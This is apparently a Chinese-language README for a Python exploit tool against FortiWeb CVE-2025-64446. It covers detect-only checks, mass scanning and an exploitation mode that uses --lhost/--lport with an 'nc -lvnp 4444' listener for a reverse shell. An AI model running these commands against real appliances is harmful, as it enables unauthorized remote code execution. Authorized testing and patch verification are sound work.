| 属性 | 详情 |
|---|
| 作者 | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8(严重) |
| 类型 | 身份验证绕过 + 路径遍历 → 任意文件上传 → RCE |
| 受影响版本 | 低于 7.6.7 / 7.8.7 / 8.0.2 的构建版本(请以官方公告为准) |
| 修复方案 | 升级到已修复的 FortiWeb 版本 |
| 语言 | Python 3.7+ |
| 入口点 | exploit.py |
| 模式 | 参数 | 用途 |
|---|---|---|
| 检测 | --detect-only | 非利用性漏洞指标检测 |
| 安全 / 只读 | --safe-mode | 跳过会修改状态的利用步骤 |
| 批量扫描 | --targets + --scan-mode | 并行多目标评估 |
| 漏洞利用 | --target + --lhost | 仅在授权实验室中执行受控攻击链 |
| 演练 | --dry-run | 不实际应用更改,演练完整流程 |
| 报告 | --output-dir | 生成 JSON + HTML 评估报告 |
| 字段 | 值 |
|---|---|
| CVE 标识符 | CVE-2025-64446 |
| CVSS 评分 | 9.8(严重) |
| 影响 | 成功利用后可完全控制系统 |
| 修复 | 升级到 7.6.7、7.8.7、8.0.2 或更高版本 |
在确定评估范围之前,请务必对照 Fortinet PSIRT 确认受影响/已修复版本。
| 使用示例 | 扫描结果 |
|---|---|
![]() | ![]() |
| HTML 输出 |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| 包 | 作用 |
|---|---|
requests, urllib3 | HTTP 客户端 |
rich, colorama, tqdm | 终端界面与进度显示 |
pyyaml | 加载 config.yaml |
可选(开发):pytest、black、flake8、mypy、python-dotenv — 参见 requirements.txt。
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
注意: 利用模式需要
--lhost。如果不打算运行完整攻击链,请使用--detect-only或--safe-mode。
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
检测功能会评估目标可达性、版本提示、API 暴露面、路径遍历指标、身份验证绕过信号以及上传端点的可访问性,并根据这些指标将风险等级划分为:严重 / 高危 / 中危 / 低危。
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager 通过线程池运行 FortiWebScanner 工作线程,输出 Rich 汇总表格,并生成 scan_report.json / scan_report.html 报告。
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
命令行参数会覆盖从 YAML 加载的配置值。
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| 组件 | 职责 |
|---|---|
FortiWebScanner | 目标可达性、版本、CVE 指标检测 |
ScannerManager | 并行扫描、JSON/HTML 汇总、摘要表格 |
FortiWebExploit | 配置驱动的会话、重试、指标、报告、可选的利用路径 |
LogManager | 结构化文件日志 + 彩色控制台输出 |
单目标高层流程:
reports/ 下生成 JSON + HTML 报告exploit.log、errors.log、requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
| 选项 | 说明 |
|---|---|
--target URL | 单个 FortiWeb 基础 URL |
--targets FILE | 换行分隔的目标列表文件 |
--lhost IP | 监听主机(利用模式必需) |
--lport PORT | 监听端口(默认:4444) |
--config FILE | YAML 配置文件 |
--detect-only | 仅检测;跳过利用链 |
--scan-mode | 多目标扫描(需要 --targets) |
--safe-mode | 只读;跳过修改性步骤 |
--dry-run | 演练模式,不实际应用更改 |
--timeout SEC | 请求超时时间(默认:15) |
--threads N | 扫描工作线程数(默认:5) |
--proxy URL | HTTP 代理 |
--user-agent STR | 自定义 User-Agent |
-v, --verbose | 详细日志 / 控制台输出 |
--no-verify | 禁用 TLS 证书验证 |
--output-dir DIR | 报告目录(默认:reports) |
--log-dir DIR | 日志目录(默认:logs) |
-h, --help | 显示帮助信息 |
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode,以验证修复效果。本工具仅用于经授权的安全测试、研究与教育。
使用本软件即表示您确认已获得授权、不会滥用该工具,并对自己的一切行为承担全部责任。作者不对滥用行为负责。
有关本项目的私有漏洞报告事宜,请参阅 SECURITY.md。
git checkout -b feature/your-change请仅在授权实验室环境中验证更改,并避免提交真实目标数据、Cookie 或凭据。
MIT 许可证 — 参见 LICENSE。
版权所有(c)2026 Sudeepa Wanigarathna
| 作者 | Sudeepa Wanigarathna |
| 问题反馈 | 本仓库的 GitHub Issues |
| 安全 | 参见 SECURITY.md · [email protected] |
仅限授权研究 · FortiWeb CVE-2025-64446